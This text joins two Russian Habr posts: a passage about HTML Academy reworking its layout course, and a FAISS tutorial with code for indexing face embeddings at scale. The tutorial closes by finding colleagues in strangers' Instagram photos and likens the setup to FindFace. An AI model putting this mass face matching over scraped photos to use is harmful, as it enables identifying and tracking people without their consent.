В детали обсуждения и написания критериев вдаваться не будем, потому что это довольно скучный процесс. Но важно, что в итоге получилась стройная, полная и непротиворечивая (на наш взгляд) система.
Здесь же отметим то, что нас особенно радует в новых критериях:
1. Критерии полностью синхронизированы с требованиями рынка и «Лиги А.». Представители Лиги Академии участвовали в разработке критериев от первых черновиков до окончательной шлифовки формулировок. Напоминаем, что «Лига А.» — это фронтенд-аутсорс Академии, в котором выпускники профессий работают над коммерческими проектами.
2. Для большинства критериев мы написали обоснование того, зачем они нужны, и почему они именно такие.
3. Мы избавились от «всенародно любимых» критериев-сборников наподобие «Б4. Грубые ошибки в разметке» (тут олды должны всплакнуть) и заменили их отдельными критериями с чётким перечнем правил проверки.
4. Система критериев свежа, бодра и актуальна, как резвый кот в четыре часа ночи, и прослужит нам ещё много лет.
С гордостью показываем [финальный результат](https://habr.com/ru/company/htmlacademy/blog/566244/), о котором мы уже рассказывали на Хабре.
### Обновления проектов
С их помощью которых студенты закрепляют учебный материал и оттачивают навыки.
На заре существования Академии проекты для курсов полностью зависели от дизайнера. В письме я просто перечислял примерные блоки, которые должны быть на макете («шапка, подвал, список товаров, форма входа и так далее»), а всё остальное дизайнер определял сам.
И это работало. Ведь это был настоящий дизайнер, который делал настоящие дизайны сайтов. И его дизайны для курсов по сложности были такими же, как на рынке.
Да, была проблема: однобокость. То, чему научатся тысячи будущих верстальщиков, определялось одним дизайнером. Для маленькой частной школы такой подход был нормальным, а вот для крупной школы уже нет.
Поэтому мы решили не просто обновить макеты, а сделать это серьёзно и по науке! И провели предварительное исследование (ещё в конце 2020 года).
Сначала мы написали бота-скриншотера, который прошёлся по нескольким тысячам популярных сайтов и отскриншотил их. Потом методом «пристального взгляда» мы отсмотрели скриншоты и выделили типовые элементы интерфейса.
Затем мы попросили у «Лиги А.» (а у неё на тот момент было уже более 500 выполненных проектов) описать типовые элементы макетов, которые им приходится часто делать, и особенно те элементы, с вёрсткой которых у выпускников возникают проблемы.
Ну и конечно мы дотянулись до наставников из разных типов компаний (заказная разработка, продуктовые компании и так далее) в разных отраслях и попросили то же, что и у Лиги.
В конце концов у нас появилась библиотека компонентов, которые чаще всего встречаются в современных интерфейсах. И из этих компонентов мы собрали новые учебные и личные макеты.
Да, конечные макеты отрисовывал дизайнер, но по очень подробному техническому заданию, в котором был не только перечень компонентов, но и детальные требования к внешнему виду каждого из них.
Можете полюбоваться обновлённым учебным проектом «Барбершоп».
### Вёрстка учебного проекта
Среди разработчиков курсов ходит легенда об авторе, который смог перед стартом курса полностью реализовать учебный проект и подобрать материалы, опираясь на код этого проекта. Годом позже этот автор собрал все яйца в «Ну, погоди» и посмотрел финальный мультик, а ещё через год полностью прошёл тетрис.
На самом деле написать реализацию учебного проекта у нас получается почти всегда. А вот сделать так, чтобы программа и материалы курса опирались на эту реализацию, намного сложнее. А что сложного?
Пытались ли вы посадить рядом трёх взрослых мужиков и сделать так, чтобы они договорились о том, каким должен быть код? Пытались ли вы это сделать на десяти проектах подряд? Вот, то-то же. А теперь немного хронологии.
> Ладно, давай обернём эти поля формы в тег , а за это ты сможешь ставить точки в конце альтов
>
>
Март 2021 года. На руках у нас есть критерии и есть макет обновлённого учебного проекта. Мы планируем за недельку сделать его вёрстку и за пару неделек разбить её на шаги. В итоге на это ушло не три недели, а два месяца, Карл!
Что это за шаги вообще? Каждый шаг — это законченный этап работы, который может включать одну или несколько завершённых задач. Например, для вёрстки это могут быть разметка, сетки и так далее. Задачи в шаги можно объединять по-разному, но важно, чтобы эти задачи хорошо сочетались, и трудоёмкость шагов была равномерной.
Мы сделали конечную реализацию и стали планировать шаги. Получилось девять. Ок. Давайте писать код.
И тут выяснилось, что самое сложное не написать код, а договориться о конечном варианте. Было жарко, были и разумные аргументы, и шантаж, и торги разработческими фетишами: *«Ладно, давай обернём эти поля формы в тег* *, а за это ты сможешь ставить точки в конце альтов»*. Кстати, если у вас есть свои «специфические вкусы» в коде, вроде любви к тегу , поделитесь в комментариях.
И всё-таки мы справились. Мы получили девять полностью готовых состояний проекта, больше 9000 строчек кода на HTML и CSS и полное понимание того, какие именно задачи нужно решить ученику на каждом этапе. И как бонус, полное взаимопонимание и согласие между авторами.
### Це-ле-по-ла-га-ни-е
Это самая нудная, но важная, но скучная, но важная часть.
> Вопрос: «А что мы учим делать на этом курсе?».
>
>
На этот вопрос мы должны были ответить перед тем, как начать всю работу по критериям и проектам.
> Ответ: «Учим делать идеальную вёрстку без адаптива в идеальных условиях»
>
>
Почему так, почему без адаптива, что такое идеальные условия?
**Начнём с «идеальных условий»**. Такие условия наступают, когда верстальщик полностью контролирует свою разметку и у него достаточно времени, чтобы написать идеальный код. И ещё отсутствуют специфические требования, наподобие максимального приоритета скорости загрузки интерфейса над всем остальным. Чаще всего такое происходит при работе над интерфейсами в продуктовых компаниях.
**Почему «без адаптива»?** Максимально упрощённо: адаптив — это когда верстается не один компонент, а несколько его версий, по сути, несколько компонентов. Да, нужно продумать, как одна версия будет превращаться в другую. Но необходимый фундамент — это умение верстать отдельные компоненты, причём их самые сложные версии (то есть десктопные).
**Зачем учить делать «идеальную вёрстку» и «идеальный код»?** Потому что это самая сложная задача, и будущие крутые разработчики (а ведь крутым разработчиком хочет стать каждый) должны уметь решать задачи максимального уровня сложности. Вот какой ты сильный разработчик, если не можешь решить задачу на первоклассном уровне?
Да, не всегда получается писать идеальный код. Но есть большая разница между разработчиком, который в принципе не может написать такой код, и разработчиком, который может, но пишет неидеальный код осознанно (например, потому что есть специфические требования).
Думаю, теперь понятна роль каждого курса в профессии «Фронтенд-разработчик»:
1. HTML и CSS. Профессиональная вёрстка сайтов — «идеальная» вёрстка без адаптивности.
2. HTML и CSS. Адаптивная вёрстка и автоматизация — «идеальная» адаптивная вёрстка плюс инструменты автоматизации.
3. JavaScript. Профессиональная разработка веб-интерфейсов — «идеальная» реализация интерактивных компонентов на чистом JavaScript.
4. Подготовка вёрстки для cистем управления контентом (CMS) — «неидеальная» вёрстка в специфических условиях, связанных с системами управления контентом (например, часто теряется возможность контролировать разметку, ведь контент создаётся кем-то другим).
5. Вёрстка React-компонентов — «неидеальная» вёрстка с учётом требований экосистемы React.
То есть вначале мы даём прочный фундамент и понимание как делать идеальную вёрстку. А потом учим, в каких задачах и почему можно от этого уровня качества отходить.
### Обновление программы
Первые четыре месяца мы занимались подготовкой и даже не притрагивались к программе. Напомню, что мы сделали за это время:
* определились, чему же мы учим (идеальная вёрстка в идеальных условиях),
* изучили рынок и собрали коллекцию компонентов интерфейсов,
* с помощью этой коллекции отрисовали обновлённые макеты,
* обновили систему критериев,
* сверстали учебный проект, причем не только итоговое состояние, но и все промежуточные.
Вот теперь можно было приступать к обновлению программы. После такой серьёзной подготовки сбор программы это дело техники, даже рассказывать особо не о чем:
1. Для каждого шага анализируем код проекта,
2. Описываем задачи, которые решаются на этом шаге,
3. Подбираем материалы, которые нужны, чтобы научиться эти задачи решать.
Вот и весь алгоритм.
Намного интереснее сравнить [новую программу](https://htmlacademy.ru/intensive/htmlcss?utm_source=habr&utm_medium=special&utm_campaign=how140921) и старую:
* В новой программе нагрузка распределена намного равномерней, чем в старой. Мы точно знали, какой объём кода нужно написать ученикам на каждом шаге и какова его сложность, поэтому смогли намного точнее определить время на изучение материалов и выполнение домашек. Например, теперь у нас три раздела про сетки вместо двух, а времени на эти разделы выделено в два раза больше!
* Ушли разделы про вёрстку контентных элементов и про JavaScript. Вёрстка контента – это специфическая задача, которая полностью раскрывается в отдельном курсе про вёрстку для CMS. А JavaScript и так уже отлично раскрывается в отдельном курсе профессии, поэтому мы просто избавились от дублирования.
* Ушёл и отдельный раздел про доступность. Но не потому что она вдруг стала не важна. Наоборот — мы «встроили» доступность в каждый раздел, теперь это неотъемлемая часть курса.
* В прошлой версии программы мы очень подробно рассказывали про отдельные этапы вёрстки (разметку, сетки и так далее), но не собирали всё воедино. В новой программе мы в начальных разделах подробно разбираем этапы вёрстки, а в завершающих разделах верстаем компоненты с нуля.
* В конце курса мы добавили новый раздел, который всегда так хотели: шлифовка итогового проекта по критериям и подготовка его к защите. Да-да, лектор вживую проходится по учебному проекту, проверяет его по критериям, находит ошибки и исправляет их. Полностью, досконально, до честных 100%.
---
А тем временем уже 20 сентября стартует [профессия «Фронтенд-разработчик»](https://htmlacademy.ru/profession/frontender?utm_source=habr&utm_medium=special&utm_campaign=how140921), в которую входит обновлённый курс. Пройдите интенсивное обучение с наставниками на пяти курсах и производственный этап — грейдирование, прокачку скорости и качества работы в «Акселераторе» и оплачиваемую стажировку в «Лиге А.». Чтобы получить скидку 10 000 ₽, напишите нашему [телеграм-боту](https://t.me/htmlacademy_helper_bot), что вы с Хабра и хотите скидку. Мы расскажем, что делать дальше. | https://habr.com/ru/post/577800/ | null | ru | null |
# FAISS: Быстрый поиск лиц и клонов на многомиллионных данных
Однажды в преддверии клиентской конференции, которую [ежегодно проводит](https://dansessions.ru/archive) группа DAN, мы размышляли над тем, что интересного можно придумать, чтобы у наших партнеров и клиентов остались приятные впечатления и воспоминания о мероприятии. Мы решили разобрать архив из тысяч фотографий с этой конференции и нескольких прошлых (а всего их к тому моменту было 18): человек отправляет нам свою фотографию, а мы ему через пару секунд отправляем подборку фотографий с ним за несколько лет из наших архивов.
Велосипед мы не придумывали, взяли всем известную библиотеку dlib и получили эмбеддинги (векторные представления) каждого лица.
Добавили Telegram-бота для удобства, и всё было отлично. С точки зрения алгоритмов распознавания лиц всё работало на ура, но конференция завершилась, а расставаться с опробованными технологиями не хотелось. От нескольких тысяч лиц хотелось перейти к сотням миллионов, но конкретной бизнес-задачи у нас не было. Через некоторое время у наших коллег появилась задача, которая требовала работы с такими большими объемами данных.
Вопрос был в том, чтобы написать умную систему мониторинга ботов внутри сети Instagram. Тут наша мысль породила простой и сложный подходы:
Простой путь: Рассматриваем все аккаунты, у которых подписок гораздо больше, чем подписчиков, нет аватарки, не заполнено full name и т.д. В итоге получаем непонятную толпу полумертвых аккаунтов.
Сложный путь: Так как современные боты стали намного умнее, и теперь они выкладывают посты, спят, да еще и контент пишут, встаёт вопрос: как таких поймать? Во-первых, внимательно следить за их друзьями, так как часто они тоже бывают ботами, и отслеживать дублирующие фотки. Во-вторых, редко какой бот умеет генерировать свои фотки (хотя и [такое возможно](https://www.instagram.com/neural_tp)), а значит, дубли фото людей в разных аккаунтах в Инстаграме являются хорошим триггером для поиска сети ботов.
#### Что дальше?
Если простой путь вполне предсказуем и быстро дает некоторые результаты, то сложный путь сложен именно потому, что для его реализации нам придется векторизовать и индексировать для последующих сравнений похожести невероятно большие объемы фотографий – миллионы, и даже миллиарды. Как это реализовать на практике? Ведь встают технические вопросы:
1. Скорость и точность поиска
2. Размер занимаемого данными места на диске
3. Размер используемой RAM памяти.
Если бы фотографий было немного, хотя бы не более десятка тысяч, мы могли бы ограничиться простыми решениями с векторной кластеризацией, но для работы с громадными объемами векторов и поиска ближайших к некоторому вектору соседей потребуются сложные и оптимизированные алгоритмы.
Существуют известные и зарекомендовавшие себя технологии, такие как Annoy, FAISS, HNSW. Быстрый алгоритм поиска соседей [HNSW](https://arxiv.org/abs/1603.09320) , доступный в библиотеках [nmslib](https://github.com/nmslib/nmslib) и [hnswlib](https://github.com/nmslib/hnswlib), показывает state-of-the-art результаты на CPU, что видно по тем же бенчмаркам. Но его мы отсекли сразу, так как нас не устраивает количество используемой памяти при работе с действительно большими объемами данных. Мы стали выбирать между Annoy и FAISS и в итоге выбрали FAISS из-за удобства, меньшего использования памяти, потенциальной возможности использования на GPU и бенчмарков по результативности (посмотреть можно, например, [здесь](https://github.com/erikbern/ann-benchmarks)). К слову, в FAISS алгоритм HNSW реализован как опция.
#### Что такое FAISS?
**Facebook AI Research Similarity Search** – разработка команды Facebook AI Research для быстрого поиска ближайших соседей и кластеризации в векторном пространстве. Высокая скорость поиска позволяет работать с очень большими данными – до нескольких миллиардов векторов.
Основное преимущество FAISS – state-of-the-art результаты на GPU, при этом его реализация на CPU незначительно проигрывает hnsw (nmslib). Нам хотелось иметь возможность вести поиск как на CPU, так и на GPU. Кроме того, FAISS оптимизирован в части использования памяти и поиска на больших батчах.
*[Source](https://www.benfrederickson.com/approximate-nearest-neighbours-for-recommender-systems/)*
FAISS позволяет быстро осуществлять операцию поиска k ближайших векторов для данного вектора x. Но как же этот поиск устроен под капотом?
#### Индексы
Главное понятие в FAISS – это **index**, и, по сути, это просто набор параметров и векторов. Наборы параметров бывают совершенно разные и зависят от нужд пользователя. Векторы могут оставаться неизменными, а могут перестраиваться. Некоторые индексы доступны для работы сразу после добавления в них векторов, а некоторые требуют предварительного обучения. Имена векторов хранятся в индексе: либо в нумерации от 0 до n, либо в виде числа, влезающего в тип Int64.
Первый индекс, и самый простой, который мы использовали ещё на конференции, – это **Flat**. Он лишь хранит в себе все вектора, а поиск по заданному вектору осуществляется полным перебором, поэтому обучать его не нужно (но об обучении ниже). На маленьком объеме данных такой простой индекс может вполне покрыть нужды поиска.
Пример:
```
import numpy as np
dim = 512 # рассмотрим произвольные векторы размерности 512
nb = 10000 # количество векторов в индексе
nq = 5 # количество векторов в выборке для поиска
np.random.seed(228)
vectors = np.random.random((nb, dim)).astype('float32')
query = np.random.random((nq, dim)).astype('float32')
```
Создаем Flat индекс и добавляем векторы без обучения:
```
import faiss
index = faiss.IndexFlatL2(dim)
print(index.ntotal) # пока индекс пустой
index.add(vectors)
print(index.ntotal) # теперь в нем 10 000 векторов
```
Теперь найдем 7 ближайших соседей для первых пяти векторов из vectors:
```
topn = 7
D, I = index.search(vectors[:5], topn) # Возвращает результат: Distances, Indices
print(I)
print(D)
```
**Output**
```
[[0 5662 6778 7738 6931 7809 7184]
[1 5831 8039 2150 5426 4569 6325]
[2 7348 2476 2048 5091 6322 3617]
[3 791 3173 6323 8374 7273 5842]
[4 6236 7548 746 6144 3906 5455]]
[[ 0. 71.53578 72.18823 72.74326 73.2243 73.333244 73.73317 ]
[ 0. 67.604805 68.494774 68.84221 71.839905 72.084335 72.10817 ]
[ 0. 66.717865 67.72709 69.63666 70.35903 70.933304 71.03237 ]
[ 0. 68.26415 68.320595 68.82381 68.86328 69.12087 69.55179 ]
[ 0. 72.03398 72.32417 73.00308 73.13054 73.76181 73.81281 ]]
```
Видим, что самые близкие соседи с расстоянием 0 – это сами векторы, остальные отранжированы по увеличению расстояния. Проведем поиск по нашим векторам из query:
```
D, I = index.search(query, topn)
print(I)
print(D)
```
**Output**
```
[[2467 2479 7260 6199 8640 2676 1767]
[2623 8313 1500 7840 5031 52 6455]
[1756 2405 1251 4136 812 6536 307]
[3409 2930 539 8354 9573 6901 5692]
[8032 4271 7761 6305 8929 4137 6480]]
[[73.14189 73.654526 73.89804 74.05615 74.11058 74.13567 74.443436]
[71.830215 72.33813 72.973885 73.08897 73.27939 73.56996 73.72397 ]
[67.49588 69.95635 70.88528 71.08078 71.715965 71.76285 72.1091 ]
[69.11357 69.30089 70.83269 71.05977 71.3577 71.62457 71.72549 ]
[69.46417 69.66577 70.47629 70.54611 70.57645 70.95326 71.032005]]
```
Теперь расстояния в первом столбце результатов не нулевые, так как векторов из query нет в индексе.
Индекс можно сохранить на диск и затем загрузить с диска:
```
faiss.write_index(index, "flat.index")
index = faiss.read_index("flat.index")
```
Казалось бы, всё элементарно! Несколько строчек кода – и мы уже получили структуру для поиска по векторам высокой размерности. Но такой индекс всего с десятком миллионов векторов размерности 512 будет весить около 20Гб и занимать при использовании столько же RAM.
В проекте для конференции мы использовали именно такой базовый подход с flat index, всё было замечательно благодаря относительно маленькому объему данных, однако сейчас речь идет о десятках и сотнях миллионов векторов высокой размерности!
#### Ускоряем поиск с помощью Inverted lists
*[Source](https://www.warhammer-community.com/2017/03/07/road-to-adepticon-march-for-macragge/)*
Основная и наикрутейшая особенность FAISS – IVF index, или **Inverted File** index. Идея Inverted files лаконична, и [красиво объясняется на пальцах](https://medium.com/dotstar/understanding-faiss-part-2-79d90b1e5388):
Давайте представим себе гигантскую армию, состоящую из самых разношерстных воинов, численностью, скажем, в 1 000 000 человек. Командовать всей армией сразу будет невозможно. Как и принято в военном деле, нужно разделить нашу армию на подразделения. Давайте разделим на  примерно равных частей, выбрав на роли командиров по представителю из каждого подразделения. И постараемся отправить максимально похожих по характеру, происхождению, физическим данным и т.д. воинов в одно подразделение, а командира выберем таким, чтобы он максимально точно представлял свое подразделение – был кем-то «средним». В итоге наша задача свелась от командования миллионом воинов к командованию 1000-ю подразделениями через их командиров, и мы имеем отличное представление о составе нашей армии, так как знаем, что из себя представляют командиры.
В этом и состоит идея IVF индекса: сгруппируем большой набор векторов по частям с помощью алгоритма [k-means](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_k-%D1%81%D1%80%D0%B5%D0%B4%D0%BD%D0%B8%D1%85), каждой части поставив в соответствие центроиду, – вектор, являющийся выбранным центром для данного кластера. Поиск будем осуществлять через минимальное расстояние до центроид, и только потом искать минимальные расстояния среди векторов в том кластере, что соответствует данной центроиде. Взяв k равным , где  – количество векторов в индексе, мы получим оптимальный поиск на двух уровнях – сначала среди  центроид, затем среди  векторов в каждом кластере. Поиск по сравнению с полным перебором ускоряется в разы, что решает одну из наших проблем при работе с множеством миллионов векторов.
*Пространство векторов разбивается методом k-means на k кластеров. Каждому кластеру в соответствие ставится центроида*
Пример кода:
```
dim = 512
k = 1000 # количество “командиров”
quantiser = faiss.IndexFlatL2(dim)
index = faiss.IndexIVFFlat(quantiser, dim, k)
vectors = np.random.random((1000000, dim)).astype('float32') # 1 000 000 “воинов”
```
А можно это записать куда более элегантно, воспользовавшись удобной штукой FAISS для построения индекса:
```
index = faiss.index_factory(dim, “IVF1000,Flat”)
Запускаем обучение:
print(index.is_trained) # False.
index.train(vectors) # Train на нашем наборе векторов
# Обучение завершено, но векторов в индексе пока нет, так что добавляем их в индекс:
print(index.is_trained) # True
print(index.ntotal) # 0
index.add(vectors)
print(index.ntotal) # 1000000
```
Рассмотрев такой тип индекса после Flat, мы решили одну из наших потенциальных проблем – скорость поиска, которая становится в разы меньше по сравнению с полным перебором.
```
D, I = index.search(query, topn)
print(I)
print(D)
```
**Output**
```
[[19898 533106 641838 681301 602835 439794 331951]
[654803 472683 538572 126357 288292 835974 308846]
[588393 979151 708282 829598 50812 721369 944102]
[796762 121483 432837 679921 691038 169755 701540]
[980500 435793 906182 893115 439104 298988 676091]]
[[69.88127 71.64444 72.4655 72.54283 72.66737 72.71834 72.83057]
[72.17552 72.28832 72.315926 72.43405 72.53974 72.664055 72.69495]
[67.262115 69.46998 70.08826 70.41119 70.57278 70.62283 71.42067]
[71.293045 71.6647 71.686615 71.915405 72.219505 72.28943 72.29849]
[73.27072 73.96091 74.034706 74.062515 74.24464 74.51218 74.609695]]
```
Но есть одно «но» – точность поиска, как и скорость, будет зависеть от количества посещаемых кластеров, которое можно задать с помощью параметра nprobe:
```
print(index.nprobe) # 1 – заходим только в один кластер и ведем поиск только в нём
index.nprobe = 16 # Проходим по топ-16 центроид для поиска top-n ближайших соседей
D, I = index.search(query, topn)
print(I)
print(D)
```
**Output**
```
[[ 28707 811973 12310 391153 574413 19898 552495]
[540075 339549 884060 117178 878374 605968 201291]
[588393 235712 123724 104489 277182 656948 662450]
[983754 604268 54894 625338 199198 70698 73403]
[862753 523459 766586 379550 324411 654206 871241]]
[[67.365585 67.38003 68.17187 68.4904 68.63618 69.88127 70.3822]
[65.63759 67.67015 68.18429 68.45782 68.68973 68.82755 69.05]
[67.262115 68.735535 68.83473 68.88733 68.95465 69.11365 69.33717]
[67.32007 68.544685 68.60204 68.60275 68.68633 68.933334 69.17106]
[70.573326 70.730286 70.78615 70.85502 71.467674 71.59512 71.909836]]
```
Как видно, после увеличения nprobe имеем совсем другие результаты, топ наименьших расстояний в D стал лучше.
Можно брать nprobe равным количеству центроид в индексе, тогда это будет эквивалентно поиску полным перебором, точность будет наибольшая, но скорость поиска заметно уменьшится.
#### Ведем поиск по диску – On Disk Inverted Lists
Отлично, первую проблему мы решили, теперь на десятках миллионов векторов мы получаем приемлемую скорость поиска! Но всё это бесполезно до тех пор, пока наш огромный индекс не умещается в RAM.
Конкретно для нашей задачи основное преимущество FAISS – в возможности хранить Inverted Lists IVF индекса на диске, загружая в RAM только метаданные.
Как мы создаем такой индекс: обучаем indexIVF с нужными параметрами на максимально возможном объеме данных, который влезает в память, затем в обученный индекс по частям добавляем векторы (побывавшие в обучении и не только) и записываем на диск индекс для каждой из частей.
```
index = faiss.index_factory(512, “,IVF65536, Flat”, faiss.METRIC_L2)
```
Обучение индекса на GPU осуществляем таким образом:
```
res = faiss.StandardGpuResources()
index_ivf = faiss.extract_index_ivf(index)
index_flat = faiss.IndexFlatL2(512)
clustering_index = faiss.index_cpu_to_gpu(res, 0, index_flat) # 0 – номер GPU
index_ivf.clustering_index = clustering_index
```
*faiss.index\_cpu\_to\_gpu(res, 0, index\_flat)* можно заменить на *faiss.index\_cpu\_to\_all\_gpus(index\_flat)*, чтобы использовать все GPU вместе.
Крайне желательно, чтобы обучающая выборка была максимально репрезентативна и имела равномерное распределение, поэтому мы заранее составляем обучающий датасет из необходимого количества векторов, рандомно выбирая их из всего датасета.
```
train_vectors = ... # предварительно сформированный датасет для обучения
index.train(train_vectors)
# Сохраняем пустой обученный индекс, содержащий только параметры:
faiss.write_index(index, "trained_block.index")
# Поочередно создаем новые индексы на основе обученного
# Блоками добавляем в них части датасета:
for bno in range(first_block, last_block+ 1):
block_vectors = vectors_parts[bno]
block_vectors_ids = vectors_parts_ids[bno] # id векторов, если необходимо
index = faiss.read_index("trained_block.index")
index.add_with_ids(block_vectors, block_vectors_ids)
faiss.write_index(index, "block_{}.index".format(bno))
```
После этого объединяем все Inverted Lists воедино. Это возможно, так как каждый из блоков, по сути, является одним и тем же обученным индексом, просто с разными векторами внутри.
```
ivfs = []
for bno in range(first_block, last_block+ 1):
index = faiss.read_index("block_{}.index".format(bno), faiss.IO_FLAG_MMAP)
ivfs.append(index.invlists)
# считать index и его inv_lists независимыми
# чтобы не потерять данные во время следующей итерации:
index.own_invlists = False
# создаем финальный индекс:
index = faiss.read_index("trained_block.index")
# готовим финальные invlists
# все invlists из блоков будут объединены в файл merged_index.ivfdata
invlists = faiss.OnDiskInvertedLists(index.nlist, index.code_size, "merged_index.ivfdata")
ivf_vector = faiss.InvertedListsPtrVector()
for ivf in ivfs:
ivf_vector.push_back(ivf)
ntotal = invlists.merge_from(ivf_vector.data(), ivf_vector.size())
index.ntotal = ntotal # заменяем листы индекса на объединенные
index.replace_invlists(invlists)
faiss.write_index(index, data_path + "populated.index") # сохраняем всё на диск
```
Итог: теперь наш индекс это файлы *populated.index* и *merged\_blocks.ivfdata*.
В *populated.index* записан первоначальный полный путь к файлу с Inverted Lists, поэтому, если путь к файлу ivfdata по какой-то причине изменится, при чтении индекса потребуется использовать флаг *faiss.IO\_FLAG\_ONDISK\_SAME\_DIR*, который позволяет искать ivfdata файл в той же директории, что и populated.index:
```
index = faiss.read_index('populated.index', faiss.IO_FLAG_ONDISK_SAME_DIR)
```
За основу был взят [demo пример из Github проекта FAISS](https://github.com/facebookresearch/faiss/blob/master/demos/demo_ondisk_ivf.py).
Мини-гайд по выбору индекса можно посмотреть в [FAISS Wiki](https://github.com/facebookresearch/faiss/wiki/Guidelines-to-choose-an-index). Например, мы смогли поместить в RAM тренировочный датасет из 12 миллионов векторов, поэтому выбрали IVFFlat индекс на 262144 центроидах, чтобы затем масштабироваться до сотен миллионов. Также в гайде предлагается использовать индекс IVF262144\_HNSW32, в котором принадлежность вектора к кластеру определяется по алгоритму HNSW с 32 ближайшими соседями (иными словами, используется quantizer IndexHNSWFlat), но, как нам показалось при дальнейших тестах, поиск по такому индексу менее точен. Кроме того, следует учитывать, что такой quantizer исключает возможность использования на GPU.
**Спойлер:**
Даже при использовании on disk inverted lists FAISS по возможности загружает данные в оперативную память. Так как RAM памяти на этапах тестов нам хватало, пусть и с трудом, а для масштабных тестов было необходимо иметь значительно больший запас данных здесь и сейчас, тесты на объемах свыше объема RAM не проводились. Но [FAISS wiki](https://github.com/facebookresearch/faiss/wiki/Indexing-1T-vectors) и обсуждения данного подхода на Github говорят, что всё должно работать корректно.
#### Значительно уменьшаем использование дискового пространства с Product Quantization
Благодаря методу поиска с диска удалось снять нагрузку с RAM, но индекс с миллионом векторов всё равно занимал около 2 ГБ дискового пространства, а мы рассуждаем о возможности работы с миллиардами векторов, что потребовало бы более двух ТБ! Безусловно, объем не такой большой, если задаться целью и выделить дополнительное дисковое пространство, но нас это немного напрягало.
И тут приходит на помощь кодирование векторов, а именно **Scalar Quantization (SQ)** и **Product Quantization (PQ)**. SQ – кодирование каждой компоненты вектора n битами (обычно 8, 6 или 4 бит). Мы рассмотрим вариант PQ, ведь идея кодирования одной компоненты типа float32 восемью битами выглядит уж слишком удручающе с точки зрения потерь в точности. Хотя в некоторых случаях сжатие SQfp16 до типа float16 будет почти без потерь в точности.
Суть Product Quantization состоит в следующем: векторы размерности 512 разбиваются на n частей, каждая из которых кластеризуется по 256 возможным кластерам (1 байт), т.е. мы представляем вектор с помощью n байт, где n обычно не превосходит 64 в реализации FAISS. Но применяется такая квантизация не к самим векторам из датасета, а к разностям этих векторов и соответствующих им центроид, полученным на этапе генерации Inverted Lists! Выходит, что Inverted Lists будут представлять из себя кодированные наборы расстояний между векторами и их центроидами.
```
index = faiss.index_factory(dim, "IVF262144,PQ64", faiss.METRIC_L2)
```
Выходит, что теперь нам не обязательно хранить все векторы – достаточно выделять n байт на вектор и 2048 байт на каждый вектор центроиды. В нашем случаем мы взяли , то есть  – длина одного субвектора, который определяется в один из 256 кластеров.
При поиске по вектору x сначала обычным Flat квантайзером будут определяться ближайшие центроиды, а затем x так же разделяется на суб-векторы, каждый из которых кодируется номером одной из 256 соответствующей центроиды. И расстояние до вектора определяется как сумма из 64 расстояний между суб-векторами.
#### Что в итоге?
Мы остановили свои эксперименты на индексе «IVF262144, PQ64», так как он полностью удовлетворил все наши нужды по скорости и точности поиска, а также обеспечил разумное использование дискового пространства при дальнейшем масштабировании индекса. Если говорить конкретнее, на данный момент при 315 миллионах векторов индекс занимает 22 Гб дискового пространства и около 3 Гб RAM при использовании.
Еще одна интересная деталь, которую мы не упоминали ранее, – метрика, используемая индексом. По умолчанию расстояния между любыми двумя векторами считаются в евклидовой метрике L2, или более понятным языком, расстояния считаются как квадратный корень из суммы квадратов покоординатных разностей. Но задать метрику можно и другую, в частности, мы тестировали метрику *METRIC\_INNER\_PRODUCT*, или метрику косинусных расстояний между векторами. Косинусная она потому, что косинус угла между двумя векторами в Евклидовой системе координат выражается как отношение скалярного (покоординатного) произведения векторов к произведению их длин, а если все векторы в нашем пространстве имеют длину 1, то косинус угла будет в точности равен покоординатному произведению. В таком случае чем ближе расположены векторы в пространстве, тем ближе к единице будет их скалярное произведение.
Метрика L2 имеет непосредственный математический переход к метрике скалярных произведений. Однако при экспериментальном сравнении двух метрик сложилось впечатление, что метрика скалярных произведений помогает нам анализировать коэффициенты похожести изображений более удачным образом. К тому же эмбеддинги наших фотографий были получены с помощью [InsightFace](https://github.com/deepinsight/insightface), в котором реализована архитектура [ArcFace](https://arxiv.org/abs/1801.07698), использующая косинусные расстояния. Также есть и другие метрики в индексах FAISS, о которых можно почитать [здесь](https://github.com/facebookresearch/faiss/wiki/MetricType-and-distances).
**пару слов о GPU**
Обучение и использование индексов FAISS на GPU весьма ограничено в выборе параметров индекса, а при работе с гигантскими объемами данных высокой размерности использование если и будет возможным, то вызовет трудности, несопоставимые с полученным результатом. К тому же на GPU реализована только метрика L2.
Однако, стоит заметить, что для использования индекса с PQ квантилизацией на GPU требуется ограничить размер кода 56-ю байтами, либо в случае большего размера сменить float32 на float16, связано это с [ограничениями на используемую память](https://github.com/facebookresearch/faiss/wiki/Faiss-on-the-GPUU#limitations).
В итоге о FAISS на GPU мы думать перестали, потому что CPU реализация нас полностью устроила по скорости, и хотелось сохранить работу с метрикой скалярных произведений, что на GPU недоступно. Чтобы регулировать нагрузку на процессоры при работе с индексами, можно задать максимальное число используемых процессоров:
```
faiss.omp_set_num_threads(N)
```
#### Заключение и любопытные примеры
Итак, вернемся же к тому, с чего всё начиналось. А начиналось, напомним, с мотивации решить задачу поиска ботов в сети Instagram, а конкретнее – искать дубликаты постов с людьми или аватарок в определенных множествах юзеров. В процессе написания материала стало понятно, что подробное описание нашей методологии поиска ботов тянет на отдельную статью, о чем мы расскажем в следующих публикациях, а пока ограничимся примерами наших экспериментов с FAISS.
Векторизовать картинки или лица можно по-разному, мы выбрали технологию InsightFace (векторизация изображений и выделение n-мерных фичей из них – это отдельная долгая история). В ходе экспериментов с полученной нами инфраструктурой были обнаружены довольно интересные и забавные свойства.
Например, заручившись разрешением коллег и знакомых, мы загрузили в поиск их лица и быстро нашли фотографии, на которых они присутствуют:
*Наш коллега попал на фотографию посетительницы Comic-Con, оказавшись на заднем фоне в толпе. [Источник](https://www.instagram.com/p/Bo-IPB4A5fI/)*
*Пикник в многочисленной компании друзей, фотография из аккаунта подруги. [Источник](https://www.instagram.com/p/Bz9_eXinJN7/)*
*Просто проходили мимо. Неизвестный фотограф запечатлел ребят для своего тематического профиля. Они не знали, куда попала их фотография, а спустя 5 лет и вовсе забыли, как их фотографировали. [Источник](https://www.instagram.com/p/-R4Cn6H7OI/)*
*В этом случае и фотограф неизвестен, и сфотографировали тайно!
Сразу вспомнилась подозрительная девушка с зеркальным фотоаппаратом, сидевшая в тот момент напротив:) [Источник](https://www.instagram.com/p/B5vppXJleHk/)*
Таким образом, путём нехитрых действий FAISS позволяет собрать на коленке аналог всем известного FindFace.
